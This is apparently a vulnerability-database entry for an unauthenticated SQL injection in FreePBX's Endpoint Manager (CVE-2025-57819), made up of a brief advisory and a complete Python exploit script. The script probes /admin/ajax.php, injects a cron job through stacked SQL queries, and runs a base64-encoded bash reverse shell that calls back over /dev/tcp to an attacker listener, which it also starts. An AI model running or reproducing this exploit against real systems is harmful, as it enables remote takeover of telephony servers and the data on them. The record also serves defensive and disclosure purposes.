FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution. This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: FreePBX 17.0.2 - Remote Code Execution # Date: 2026-08-12 # Exploit Author: K3ysTr0K3R (Jared Brits) # Vendor Homepage: https://www.freepbx.org/ # Software Link: https://github.com/FreePBX/freepbx # Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3 # Tested on: Linux (Debian/Ubuntu) with Asterisk # CVE: CVE-2025-57819 # CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass) # CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H # Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819 # References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h # # Description: # CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the # Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the # /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries. # # An unauthenticated attacker can exploit this by sending a crafted GET request that injects # arbitrary SQL commands. Because the application uses stacked queries (multiple statements # separated by semicolons), an attacker can execute an INSERT statement to add a malicious # cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with # administrative privileges (typically as the Apache user), leading to full remote code # execution on the underlying server. # # The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89, # and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is # listed in CISA's Known Exploited Vulnerabilities catalog. # # This exploit automates the process by: # 1. Validating the target is vulnerable using an error-based SQLi detection. # 2. Starting a reverse shell listener on the attacker's machine. # 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi. # 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell. # # Usage: # python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444 import sys import time import requests import urllib3 import socket import threading import base64 import argparse from rich.console import Console console = Console() def banner(): console.print("[cyan]CVE-2025-57819 • FreePBX Unauth SQLi → RCE[/cyan]") console.print("[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]") console.print("[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]") print() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def validate_sqli(target_url): vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php" payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -" params = { 'module': 'FreePBX\\modules\\endpoint\\ajax', 'command': 'model', 'template': 'x', 'model': 'model', 'brand': payload } try: response = requests.get(vuln_url, params=params, verify=False, timeout=15) if "XPATH syntax error" in response.text and "freepbxuser" in response.text: console.print("[green][+][/green] Exploit path confirmed!") return True else: console.print("[red][-][/red] Target immune – no vulnerable signature detected.") return False except Exception as e: console.print(f"[red][-][/red] Probe failed: {e}") return False def start_listener(lhost, lport): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((lhost, lport)) except Exception as e: console.print(f"[red][-][/red] Listener deployment failed: {e}") sys.exit(1) server.listen(1) console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...") client, addr = server.accept() console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!") pty_attempts = [ b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n", b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n", b"script -q /dev/null /bin/bash\n", ] for cmd in pty_attempts: client.send(cmd) time.sleep(0.5) console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.") def reader(): while True: try: data = client.recv(4096) if not data: break sys.stdout.buffer.write(data) sys.stdout.flush() except: break recv_thread = threading.Thread(target=reader) recv_thread.daemon = True recv_thread.start() try: while True: cmd = input() if cmd.lower() == 'exit': client.close() break client.send((cmd + "\n").encode()) except (EOFError, KeyboardInterrupt): print() console.print("[yellow][!][/yellow] Forced session termination.") client.close() except Exception as e: console.print(f"[red][-][/red] Channel error: {e}") client.close() console.print("[blue][*][/blue] Remote session closed.") def exploit(target_url, lhost, lport): banner() console.print(f"[blue][*][/blue] Target locked: {target_url}") listener_thread = threading.Thread(target=start_listener, args=(lhost, lport)) listener_thread.daemon = True listener_thread.start() time.sleep(1) if not validate_sqli(target_url): console.print("[red][-][/red] Exploit aborted – target not vulnerable.") sys.exit(1) shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'" b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode() final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash" hex_payload = final_cmd.encode().hex() sql_payload = ( f"x' ;INSERT INTO cron_jobs " f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) " f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- " ) vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php" params = { 'module': 'FreePBX\\modules\\endpoint\\ajax', 'command': 'model', 'template': 'x', 'model': 'model', 'brand': sql_payload } console.print("[blue][*][/blue] Injecting payload into cron schedule...") try: response = requests.get(vuln_url, params=params, verify=False, timeout=15) if response.status_code in (200, 500): console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})") console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...") else: console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.") console.print(response.text[:200]) sys.exit(1) except Exception as e: console.print(f"[red][-][/red] Injection delivery failed: {e}") sys.exit(1) console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...") listener_thread.join() if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX Unauthenticated SQLi → RCE") parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)") parser.add_argument("--lhost", required=True, help="Listener IP address") parser.add_argument("--lport", type=int, required=True, help="Listener port") args = parser.parse_args() exploit(args.url, args.lhost, args.lport)